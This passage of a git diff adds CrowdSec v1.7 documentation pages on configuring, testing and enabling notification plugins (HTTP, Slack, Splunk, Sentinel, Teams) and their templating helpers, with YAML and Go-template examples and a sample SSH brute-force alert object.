changed the `name` property in the configuration file, you should replace `http_default` with the new name. +::: + +:::warning +Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. +::: + +
+ +Example profile with http plugin enabled + +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - http_default +on_success: break +``` + +
+ +## Final Steps: + +Let's restart crowdsec + +```bash +sudo systemctl restart crowdsec +``` + +You can verify whether the plugin is properly working by triggering scenarios using tools like wapiti, nikto. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/helpers.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/helpers.md new file mode 100644 index 000000000..48dfbd8b6 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/helpers.md @@ -0,0 +1,69 @@ +--- +id: template_helpers +title: Templating helpers +--- + +In order to simplify some operation in the templates, we provide some custom helpers. + +## Sprig + +The [Sprig](https://masterminds.github.io/sprig/) library is available in the templates, and provides a lot of useful functions. Refer to the sprig documentation for more information. + +## CrowdSec specific helpers + +### `HTMLEscape` + +:::info +When displaying untrusted data sources, such as metadata (for example, URIs), it is best to use this function to prevent the data from being rendered in notifications that support HTML format, such as emails. +::: + +The string is processed through the [`html.EscapeString`](https://pkg.go.dev/html#EscapeString) function, which converts special characters into their HTML-encoded equivalents. + +```go +{{ "I am not escaped" }} // I am not escaped +{{ "I am escaped" | HTMLEscape }} // I am <img src=x /> escaped +``` + +:::note +This function only escapes five specific characters: + +| Character | Escape Sequence | +|-----------|-----------------| +| `<` | `<` | +| `>` | `>` | +| `&` | `&` | +| `'` | `'` | +| `"` | `"` | + +It does not provide comprehensive sanitization. +::: + +### `Hostname` + +Returns the hostname of the machine running crowdsec. + +### `GetMeta(alert, key)` + +Return the list of meta values for the given key in the specified alert. + +```go +{{ range . }} +{{ $alert := .}} +{{ GetMeta $alert "username"}} +{{ end }} +``` + +### `CrowdsecCTI` + +Queries the crowdsec CTI API to get information about an IP based on the smoke database. + +Documentation on the available fields and methods is [here](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/cticlient#SmokeItem). + +```go + {{range . -}} + {{$alert := . -}} + :flag-{{$alert.Source.Cn}}: triggered *{{$alert.Scenario}}* ({{$alert.Source.AsName}}) : Maliciousness Score is + {{- $cti := $alert.Source.IP | CrowdsecCTI -}} + {{" "}}{{mulf $cti.GetMaliciousnessScore 100 | floor}} % + {{- end }} +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/http.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/http.md new file mode 100644 index 000000000..075c6fca7 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/http.md @@ -0,0 +1,117 @@ +--- +id: http +title: HTTP Plugin +--- + +The HTTP plugin is by default shipped with your CrowdSec installation. The following guide shows how to configure, test and enable it. + +Every alert which would pass the profile's filter would be dispatched to `http_default` plugin. + +## Configuring the plugin + +By default the configuration for HTTP plugin is located at these default location per OS: + +- **Linux** `/etc/crowdsec/notifications/http.yaml` +- **FreeBSD** `/usr/local/etc/crowdsec/notifications/http.yaml` +- **Windows** `C:\ProgramData\CrowdSec\config\notifications\http.yaml` + +Configure how to make web requests by providing the `url`, `method`, `headers` etc. + +### Adding the plugin configuration + +Configure how to make web requests by providing the `url`, `method`, `headers` etc. + +Example config which posts the alerts serialized into json to localhost server. + +```yaml +# Don't change this +type: http + +name: http_default # this must match with the registered plugin in the profile +log_level: info # Options include: trace, debug, info, warn, error, off + +format: | # This template receives list of models.Alert objects. The request body would contain this. + {{.|toJson}} + +url: http://localhost # plugin will make requests to this url. Eg value https://www.example.com/ +# unix_socket: /var/run/example.sock # plugin will send the `url` across the unix socket instead of opening a remote connection + +method: POST # eg either of "POST", "GET", "PUT" and other http verbs is valid value. + +# headers: +# Authorization: token 0x64312313 + +# skip_tls_verification: # either true or false. Default is false + +# group_wait: # duration to wait collecting alerts before sending to this plugin, eg "30s" + +# group_threshold: # if alerts exceed this, then the plugin will be sent the message. eg "10" + +# max_retry: # number of tries to attempt to send message to plugins in case of error. + +# timeout: # duration to wait for response from plugin before considering this attempt a failure. eg "10s" + +``` + +:::info +`format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects. +::: + +## Testing the plugin + +Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. + +```bash +cscli notifications test http_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. +::: + +## Enabling the plugin + +In your profiles you will need to uncomment the `notifications` key and the `http_default` plugin list item. + +``` +#notifications: +# - http_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. +::: + +:::warning +Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. +::: + +
+ +Example profile with http plugin enabled + +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - http_default +on_success: break +``` + +
+ +## Final Steps: + +Let's restart crowdsec + +```bash +sudo systemctl restart crowdsec +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/intro.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/intro.md new file mode 100644 index 000000000..0e9d29d74 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/intro.md @@ -0,0 +1,655 @@ +--- +id: intro +title: Introduction +--- + +### Goal + +CrowdSec supports notification plugins, which allows alerts to pushed to third party services for alerting or integration purposes. + +Plugins are defined and used at the LAPI level, so if you are running a multi-server setup, you will configure the plugins on the server that is receiving the alerts. If you are not running a multi-server setup, you will configure the plugins on the same server as the main CrowdSec process. + +### Configuration + +By default all plugins are shipped with CrowdSec are within the install package, and can trivially be enabled without further need to install additional packages. + +Refer directly to each plugin's dedicated documentation and keep in mind that plugins needs to be enabled/dispatched at the [profile](/local_api/profiles/intro.md) level via the dedicated `notifications` section (defaults to `/etc/crowdsec/profiles.yaml`.md). + +Plugin binaries are present in `config_paths.plugin_dir` (defaults to `/var/lib/crowdsec/plugins/`), and their individual configuration are present in `config_paths.notification_dir` (defaults to `/etc/crowdsec/notifications/`) + +:::warning +CrowdSec rejects the plugins binaries if one of the following is true : +1. plugin is not owned by the root user and root group. +2. plugin is world-writable. +::: + +### Environment variables + +It is possible to set configuration values based on environment variables. + +However, depending on which key is using the environment variable, the syntax is different. + +#### Format + +The `format` key is a string that uses the [go template](https://pkg.go.dev/text/template) syntax. To use an environment variable in the `format` key, you can use the `env` function provided by [sprig](https://masterminds.github.io/sprig/). + +```yaml +format: | + Received {{ len . }} alerts + Environment variable value: {{env "ENV_VAR"}} +``` + +#### Other keys + +All other keys than `format` can use the typical `${ENV_VAR}` or `$ENV_VAR` syntax. + +For example, if you don't want to store your SMTP host password in the configuration file, you can do this: + +```yaml +smtp_host: smtp.gmail.com +smtp_username: myemail@gmail.com +smtp_password: ${SMTP_PASSWORD} +smtp_port: 587 +auth_type: login +sender_name: "CrowdSec" +sender_email: email@gmail.com +email_subject: "CrowdSec Notification" +``` + +:::warning +Please note that `cscli notifications inspect` command does not interpolate environment variables and will always show the raw value of the key. +::: + +If you wish to use `cscli notifications test` command, you must provide the environment variables in the command line or within your shell environment. + +For example, if you have a `SMTP_PASSWORD` environment variable, you can test the `email_default` plugin with the following command: + +:::warning +Some shells may hold this information in history, so please consult your shell documentation to ensure that the password or other sensitive data is not stored in clear text. +::: + +```bash +SMTP_PASSWORD=your_password cscli notifications test email_default +``` + +### Registering plugin to profile + +After discovering the plugins, CrowdSec registers the plugins to the profiles. Here's a profile which sends alerts to plugin named `slackreport`. + +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +on_success: break +notifications: + - slackreport + +``` + +**Note:** In this case CrowdSec will map the plugin `slackreport` to the plugin config which has `name=slackreport`. See next section for more details. + +### Notification plugin configuration: + +Following fields are provided to all notification plugins and not specific to any plugin. + +```yaml +type: +name: +format: +group_wait: +group_threshold: +max_retry: +timeout: +``` + +#### `type` : + +Required. Type of plugin, eg "slack" + +#### `name` : + +Required. Name of this config eg "slackreport". This should match with registered name in profile. + +#### `format` : + +Required. [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects. The go templates provide additional directives provide by [sprig](https://masterminds.github.io/sprig/) . eg "Received ``{{.len}}`` alerts" + +#### `group_wait` : + +Optional. duration to wait collecting alerts before sending to this plugin, eg "30s" + +#### `group_threshold` : + +Optional. if alerts exceed this, then the plugin will be sent the message. eg "10" + +#### `max_retry` : + +Optional. the number of tries to attempt to send message to plugins in case of error. + +#### `timeout` : + +Optional. duration to wait for a response from the plugin before considering this attempt a failure. eg "10s" + +You can define other plugin specific fields too. eg `webhook` field for a slack plugin. + +### Dispatching configuration: + +CrowdSec main process feeds the configuration files to the plugins via gRPC. It determines where to send the config via the value of `type` field in config file. + + +### Architecture and technical considerations + +#### Architecture + +Under the hood, the main CrowdSec process dispatches the plugins as gRPC services. This means that plugins can be written in any language. + +Currently only `notification` plugins are supported. Whenever CrowdSec receives any alert and if this alert satisfies the owner profile, then the same alert will be dispatched to such plugin. + +[See](https://github.com/crowdsecurity/crowdsec/blob/plugins/pkg/protobufs/notifier.proto) the gRPC protocol for `notification` plugins. + +In the following sections we use `/etc/crowdsec/config.yaml` for configuration file paths. However depending on your platform the paths can be interchanged with the following: + +- **Linux** `/etc/crowdsec/config.yaml` +- **FreeBSD** `/usr/local/etc/crowdsec/config.yaml` +- **Windows** `C:\ProgramData\CrowdSec\config\config.yaml` + +#### Plugin Discovery + +Plugins are discovered from the directories specified in `/etc/crowdsec/config.yaml`. + +```yaml title="/etc/crowdsec/config.yaml" +config_paths: + notification_dir: /etc/crowdsec/notifications/ + plugin_dir: /var/lib/crowdsec/plugins/ +``` + +#### Plugin Process Owner + +Due to security reasons, plugins process are operated under a user with limited privileges. This is done by setting owner and group of the plugin process as some unprivileged user. This can be configured via setting the desired user and group in `/etc/crowdsec/config.yaml`. + +```yaml title="/etc/crowdsec/config.yaml" +plugin_config: + user: nobody + group: nogroup +``` + +:::note +Depending on your distribution or platform these values may change to `nobody` or `nogroup`. If you wish to update these values, please ensure that the user and group exist on your system. +::: + +### Alert object + +You have access to the list of alerts that triggered the notification when writing the go-template in the `format` parameter. + +An alert is defined as follow: + +``` +type Alert struct { + Capacity *int32 `json:"capacity"` + CreatedAt string `json:"created_at,omitempty"` + Decisions []*Decision `json:"decisions"` + Events []*Event `json:"events"` + EventsCount *int32 `json:"events_count"` + ID int64 `json:"id,omitempty"` + Labels []string `json:"labels"` + Leakspeed *string `json:"leakspeed"` + MachineID string `json:"machine_id,omitempty"` + Message *string `json:"message"` + Meta Meta `json:"meta,omitempty"` + Remediation bool `json:"remediation,omitempty"` + Scenario *string `json:"scenario"` + ScenarioHash *string `json:"scenario_hash"` + ScenarioVersion *string `json:"scenario_version"` + Simulated *bool `json:"simulated"` + Source *Source `json:"source"` + StartAt *string `json:"start_at"` + StopAt *string `json:"stop_at"` +} +``` + +Here is a full example of an Alert object list available in the go-template (this example was generated by a SSH bruteforce). + +Note that this was generated using the `toJson` sprig function, so field names are a bit different from the actual names in the go object. + +To use them in a go-template, you can check [here](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) to get the actual field names. + +
+Show the full alert object + +```json +[ + { + "capacity": 5, + "decisions": [ + { + "duration": "4h", + "origin": "crowdsec", + "scenario": "crowdsecurity/ssh-bf", + "scope": "Ip", + "type": "ban", + "value": "35.188.49.176" + } + ], + "events": [ + { + "meta": [ + { + "key": "ASNNumber", + "value": "15169" + }, + { + "key": "ASNOrg", + "value": "Google LLC" + }, + { + "key": "IsInEU", + "value": "false" + }, + { + "key": "IsoCode", + "value": "US" + }, + { + "key": "SourceRange", + "value": "35.184.0.0/13" + }, + { + "key": "datasource_path", + "value": "ssh-bf.log" + }, + { + "key": "datasource_type", + "value": "file" + }, + { + "key": "log_type", + "value": "ssh_failed-auth" + }, + { + "key": "machine", + "value": "sd-126005" + }, + { + "key": "service", + "value": "ssh" + }, + { + "key": "source_ip", + "value": "35.188.49.176" + }, + { + "key": "target_user", + "value": "pascal" + }, + { + "key": "timestamp", + "value": "2022-02-12T14:10:21Z" + } + ], + "timestamp": "2022-02-12T14:10:23Z" + }, + { + "meta": [ + { + "key": "ASNNumber", + "value": "15169" + }, + { + "key": "ASNOrg", + "value": "Google LLC" + }, + { + "key": "IsInEU", + "value": "false" + }, + { + "key": "IsoCode", + "value": "US" + }, + { + "key": "SourceRange", + "value": "35.184.0.0/13" + }, + { + "key": "datasource_path", + "value": "ssh-bf.log" + }, + { + "key": "datasource_type", + "value": "file" + }, + { + "key": "log_type", + "value": "ssh_failed-auth" + }, + { + "key": "machine", + "value": "sd-126005" + }, + { + "key": "service", + "value": "ssh" + }, + { + "key": "source_ip", + "value": "35.188.49.176" + }, + { + "key": "target_user", + "value": "pascal1" + }, + { + "key": "timestamp", + "value": "2022-02-12T14:10:21Z" + } + ], + "timestamp": "2022-02-12T14:10:23Z" + }, + { + "meta": [ + { + "key": "ASNNumber", + "value": "15169" + }, + { + "key": "ASNOrg", + "value": "Google LLC" + }, + { + "key": "IsInEU", + "value": "false" + }, + { + "key": "IsoCode", + "value": "US" + }, + { + "key": "SourceRange", + "value": "35.184.0.0/13" + }, + { + "key": "datasource_path", + "value": "ssh-bf.log" + }, + { + "key": "datasource_type", + "value": "file" + }, + { + "key": "log_type", + "value": "ssh_failed-auth" + }, + { + "key": "machine", + "value": "sd-126005" + }, + { + "key": "service", + "value": "ssh" + }, + { + "key": "source_ip", + "value": "35.188.49.176" + }, + { + "key": "target_user", + "value": "pascal2" + }, + { + "key": "timestamp", + "value": "2022-02-12T14:10:22Z" + } + ], + "timestamp": "2022-02-12T14:10:23Z" + }, + { + "meta": [ + { + "key": "ASNNumber", + "value": "15169" + }, + { + "key": "ASNOrg", + "value": "Google LLC" + }, + { + "key": "IsInEU", + "value": "false" + }, + { + "key": "IsoCode", + "value": "US" + }, + { + "key": "SourceRange", + "value": "35.184.0.0/13" + }, + { + "key": "datasource_path", + "value": "ssh-bf.log" + }, + { + "key": "datasource_type", + "value": "file" + }, + { + "key": "log_type", + "value": "ssh_failed-auth" + }, + { + "key": "machine", + "value": "sd-126005" + }, + { + "key": "service", + "value": "ssh" + }, + { + "key": "source_ip", + "value": "35.188.49.176" + }, + { + "key": "target_user", + "value": "pascal3" + }, + { + "key": "timestamp", + "value": "2022-02-12T14:10:22Z" + } + ], + "timestamp": "2022-02-12T14:10:23Z" + }, + { + "meta": [ + { + "key": "ASNNumber", + "value": "15169" + }, + { + "key": "ASNOrg", + "value": "Google LLC" + }, + { + "key": "IsInEU", + "value": "false" + }, + { + "key": "IsoCode", + "value": "US" + }, + { + "key": "SourceRange", + "value": "35.184.0.0/13" + }, + { + "key": "datasource_path", + "value": "ssh-bf.log" + }, + { + "key": "datasource_type", + "value": "file" + }, + { + "key": "log_type", + "value": "ssh_failed-auth" + }, + { + "key": "machine", + "value": "sd-126005" + }, + { + "key": "service", + "value": "ssh" + }, + { + "key": "source_ip", + "value": "35.188.49.176" + }, + { + "key": "target_user", + "value": "pascal4" + }, + { + "key": "timestamp", + "value": "2022-02-12T14:10:23Z" + } + ], + "timestamp": "2022-02-12T14:10:23Z" + }, + { + "meta": [ + { + "key": "ASNNumber", + "value": "15169" + }, + { + "key": "ASNOrg", + "value": "Google LLC" + }, + { + "key": "IsInEU", + "value": "false" + }, + { + "key": "IsoCode", + "value": "US" + }, + { + "key": "SourceRange", + "value": "35.184.0.0/13" + }, + { + "key": "datasource_path", + "value": "ssh-bf.log" + }, + { + "key": "datasource_type", + "value": "file" + }, + { + "key": "log_type", + "value": "ssh_failed-auth" + }, + { + "key": "machine", + "value": "sd-126005" + }, + { + "key": "service", + "value": "ssh" + }, + { + "key": "source_ip", + "value": "35.188.49.176" + }, + { + "key": "target_user", + "value": "pascal5" + }, + { + "key": "timestamp", + "value": "2022-02-12T14:10:23Z" + } + ], + "timestamp": "2022-02-12T14:10:23Z" + } + ], + "events_count": 6, + "labels": null, + "leakspeed": "10s", + "machine_id": "4e1c7990a4af460a9c622d2c80a856334U2v5NbKX14uQKFa", + "message": "Ip 35.188.49.176 performed 'crowdsecurity/ssh-bf' (6 events over 2s) at 2022-02-12 14:10:23 +0000 UTC", + "remediation": true, + "scenario": "crowdsecurity/ssh-bf", + "scenario_hash": "4441dcff07020f6690d998b7101e642359ba405c2abb83565bbbdcee36de280f", + "scenario_version": "0.1", + "simulated": false, + "source": { + "as_name": "Google LLC", + "as_number": "15169", + "cn": "US", + "ip": "35.188.49.176", + "latitude": 37.4192, + "longitude": -122.0574, + "range": "35.184.0.0/13", + "scope": "Ip", + "value": "35.188.49.176" + }, + "start_at": "2022-02-12T14:10:21Z", + "stop_at": "2022-02-12T14:10:23Z" + } +] +``` + +
+ +#### Usage examples + +Convert the whole list to JSON format: + +``` +{{ .|toJson }} +``` + +--- + +Extract all the decisions in the alerts list + +``` +{{ range . }} + {{ range .Decisions }} + {{ .Value }} has performed {{.Scenario}} and has received "{{.Type}}" for {{.Duration}} + {{ end }} +{{ end }} +``` + +--- + +Extract the meta associated with the alerts + +``` +{{ range .}} + {{.Source.Value}} has performed {{.Scenario}} (meta : {{range .Events}} {{range .Meta}} {{.Key}} : {{.Value}} | {{end}} -- {{ end }}) +{{ end }} +``` + +### Debugging notifications plugins + +**cscli** tool provide some useful command to help write notification +plugin configuration. Those are provided by the `cscli notifications` +command and its subcommands. + +| SubCommand | Description | +|---------|-------------| +| [list](/cscli/cscli_notifications_list.md) | List all notification plugins and their status | +| [inspect](/cscli/cscli_notifications_inspect.md) | Get configuration information for a notification plugin | +| [test](/cscli/cscli_notifications_test.md) | Test the configuration by sending a `generic` alert directly to notification plugin | +| [reinject](/cscli/cscli_notifications_reinject.md) | Reinject an Alert to the profiles pipeline to simulate real processing of an Alert | + +:::info +Please note the difference between `reinject` and `test`, `reinject` will send the alert to the profiles pipeline and then to the notification plugin that is `active` on the matched profile, while `test` will send the alert directly to the notification plugin no matter if the plugin is active or defined within a profile. +::: diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/sentinel.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/sentinel.md new file mode 100644 index 000000000..159a387fd --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/sentinel.md @@ -0,0 +1,127 @@ +--- +id: sentinel +title: Sentinel Plugin +--- + +The sentinel plugin is by default shipped with your CrowdSec installation. The following guide shows how to configure, test and enable it. + +## Configuring the plugin + +By default there would be a sentinel config at these default location per OS: + +- **Linux** `/etc/crowdsec/notifications/sentinel.yaml` +- **FreeBSD** `/usr/local/etc/crowdsec/notifications/sentinel.yaml` +- **Windows** `C:\ProgramData\CrowdSec\config\notifications\sentinel.yaml` + +### Base configuration + +You will need to specify: + - customer_id + - shared_key + - log_type + +Example config: + +```yaml +type: sentinel # Don't change +name: sentinel_default # Must match the registered plugin in the profile + +# One of "trace", "debug", "info", "warn", "error", "off" +log_level: info +# group_wait: # Time to wait collecting alerts before relaying a message to this plugin, eg "30s" +# group_threshold: # Amount of alerts that triggers a message before has expired, eg "10" +# max_retry: # Number of attempts to relay messages to plugins in case of error +# timeout: # Time to wait for response from the plugin before considering the attempt a failure, eg "10s" + +#------------------------- +# plugin-specific options + +# The following template receives a list of models.Alert objects +# The output goes in the http request body +format: | + {{.|toJson}} + +customer_id: XXX-XXX +shared_key: XXXXXXX +log_type: crowdsec + +``` + +**Note** that the `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects. + +### Configuration options + +#### customer_id + +Also known as the `workspace id`. +You can get it from the azure portal in `Log Analytics workspace` -> `YOUR_WORKSPACE` -> `Settings` -> `Agents` + +#### shared_key + +Also known as the `primary key`. +You can get it from the azure portal in `Log Analytics workspace` -> `YOUR_WORKSPACE` -> `Settings` -> `Agents` + +#### log_type + +The log type is the name of the log that will be sent to azure. + +Assuming you chose `crowdsec`, it will appear as `crowdsec_CL` in azure. + +## Testing the plugin + +Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. + +```bash +cscli notifications test sentinel_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `sentinel_default` with the new name. +::: + +## Enabling the plugin + +In your profiles you will need to uncomment the `notifications` key and the `sentinel_default` plugin list item. + +``` +#notifications: +# - sentinel_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `sentinel_default` with the new name. +::: + +:::warning +Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. +::: + +
+ +Example profile with sentinel plugin enabled + +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - sentinel_default +on_success: break +``` + +
+ +## Final Steps + +Let's restart crowdsec + +```bash +sudo systemctl restart crowdsec +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/slack.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/slack.md new file mode 100644 index 000000000..ec6f66ef5 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/slack.md @@ -0,0 +1,107 @@ +--- +id: slack +title: Slack Plugin +--- + +The slack plugin is by default shipped with your CrowdSec installation. The following guide shows how to enable it. + +## Configuring the plugin: + +By default the configuration for Slack plugin is located at these default location per OS: + +- **Linux** `/etc/crowdsec/notifications/slack.yaml` +- **FreeBSD** `/usr/local/etc/crowdsec/notifications/slack.yaml` +- **Windows** `C:\ProgramData\CrowdSec\config\notifications\slack.yaml` + +### Base configuration + +Here is the base configuration for the Slack plugin: + +```yaml +# Don't change this +type: slack + +name: slack_default # this must match with the registered plugin in the profile +log_level: info # Options include: trace, debug, info, warn, error, off + +format: | # This template receives list of models.Alert objects. The message would be composed from this + {{range . -}} + {{$alert := . -}} + {{range .Decisions -}} + {{if $alert.Source.Cn -}} + :flag-{{$alert.Source.Cn}}: will get {{.Type}} for next {{.Duration}} for triggering {{.Scenario}} on machine '{{$alert.MachineID}}'. {{end}} + {{if not $alert.Source.Cn -}} + :pirate_flag: will get {{.Type}} for next {{.Duration}} for triggering {{.Scenario}} on machine '{{$alert.MachineID}}'. {{end}} + {{end -}} + {{end -}} + +webhook: https://hooks.slack.com/services/xxxxxxxxxxxxxxxxxxxxxxxxxxx # Replace this with your actual webhook URL. This is a slack plugin-specific config. + +``` + +**Don't forget to replace the webhook with your own webhook** + +See [slack guide](https://slack.com/intl/en-in/help/articles/115005265063-Incoming-webhooks-for-Slack) for instructions to obtain webhook. + +**Note** that the filename `/etc/crowdsec/notifications/slack.yaml` has no significance. You may as well define other configs for slack plugin for new channels in another file in `/etc/crowdsec/notifications/`. + +**Note** that the `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects. + +## Testing the plugin + +Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. + +```bash +cscli notifications test slack_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `slack_default` with the new name. +::: + +## Enabling the plugin + +In your profiles you will need to uncomment the `notifications` key and the `slack_default` plugin list item. + +``` +#notifications: +# - slack_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `slack_default` with the new name. +::: + +:::warning +Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. +::: + +
+ +Example profile with email plugin enabled + +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - slack_default +on_success: break +``` + +
+ +## Final Steps: + +Let's restart crowdsec + +```bash +sudo systemctl restart crowdsec +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/splunk.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/splunk.md new file mode 100644 index 000000000..2360c34c7 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/splunk.md @@ -0,0 +1,108 @@ +--- +id: splunk +title: Splunk Plugin +--- + +The splunk plugin is by default shipped with your CrowdSec installation. The following guide shows how to enable it. + +## Configuring the plugin: + +By default the configuration for Splunk plugin is located at these default location per OS: + +- **Linux** `/etc/crowdsec/notifications/splunk.yaml` +- **FreeBSD** `/usr/local/etc/crowdsec/notifications/splunk.yaml` +- **Windows** `C:\ProgramData\CrowdSec\config\notifications\splunk.yaml` + +### Base configuration + +Here is the base configuration for the Splunk plugin: + +```yaml +# Don't change this +type: splunk + +name: splunk_default # this must match with the registered plugin in the profile +log_level: info # Options include: trace, debug, info, warn, error, off + +format: | # This template receives list of models.Alert objects. Splunk event will be created with its contents. + {{.|toJson}} + +token: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +url: https://xxx.yyyy.splunkcloud.com:8088/services/collector + + +# group_wait: # duration to wait collecting alerts before sending to this plugin, eg "30s" + +# group_threshold: # if alerts exceed this, then the plugin will be sent the message. eg "10" + +# max_retry: # number of tries to attempt to send message to plugins in case of error. + +# timeout: # duration to wait for response from plugin before considering this attempt a failure. eg "10s" +``` + + +See [splunk guide](https://docs.splunk.com/Documentation/Splunk/8.2.1/Data/UsetheHTTPEventCollector) for instructions to obtain the token and url. + + +**Note** that the `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects. + +## Testing the plugin + +Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. + +```bash +cscli notifications test splunk_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `splunk_default` with the new name. +::: + +## Enabling the plugin + +In your profiles you will need to uncomment the `notifications` key and the `splunk_default` plugin list item. + +``` +#notifications: +# - splunk_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `splunk_default` with the new name. +::: + +:::warning +Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. +::: + +
+ +Example profile with Splunk plugin enabled + +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - splunk_default +on_success: break +``` + +
+ +## Final Steps: + +Let's restart crowdsec + +```bash +sudo systemctl restart crowdsec +``` + +You can verify whether the plugin is properly working by triggering scenarios using tools like wapiti, nikto etc. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/teams.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/teams.md new file mode 100644 index 000000000..6eaeacf4b --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/teams.md @@ -0,0 +1,349 @@ +--- +id: teams +title: Microsoft Teams +--- + +The following guide shows how to configure, test and enable HTTP plugin to forward Alerts to Microsoft Teams. + +## Configuring the plugin + +By default the configuration for HTTP plugin is located at these default location per OS: + +- **Linux** `/etc/crowdsec/notifications/http.yaml` +- **FreeBSD** `/usr/local/etc/crowdsec/notifications/http.yaml` +- **Windows** `C:\ProgramData\CrowdSec\config\notifications\http.yaml` + +Simply replace the whole content in this file with this example below. + +### Base configuration + +This configuration uses the base Alert to drive the information if you wish to see additional details then see [Alert Context Configuration](#additional-alert-context) for more information. + +```yaml +# Don't change this +type: http + +name: http_default # this must match with the registered plugin in the profile +log_level: debug # Options include: trace, debug, info, warn, error, off + +format: | + { + "type": "message", + "attachments": [ + { + "contentType": "application/vnd.microsoft.card.adaptive", + "content": { + "$schema": "https://adaptivecards.io/schemas/adaptive-card.json", + "type": "AdaptiveCard", + "version": "1.2", + {{- range . -}} + {{- $decisions_len := len .Decisions -}} + {{- range $index, $element := .Decisions -}} + "body": [ + { + "type": "TextBlock", + "text": "[Info] CrowdSec", + "wrap": true, + "size": "large", + "weight": "bolder", + "fontType": "Default" + }, + { + "type": "FactSet", + "facts": [ + { + "title": "IP:", + "value": "{{$element.Value}}" + }, + { + "title": "Duration:", + "value": "{{$element.Duration}}" + }, + { + "title": "Reason:", + "value": "{{$element.Scenario}}" + }, + { + "title": "Origin:", + "value": "{{$element.Origin}}" + }, + { + "title": "Simulation:", + "value": "{{$element.Simulated}}" + } + ] + }, + { + "type": "RichTextBlock", + "inlines": [ + { + "type": "TextRun", + "text": "\"{{ $element.Value }}\" got a ban for {{ $element.Duration }}." + } + ] + }, + { + "type": "ActionSet", + "actions": [ + { + "type": 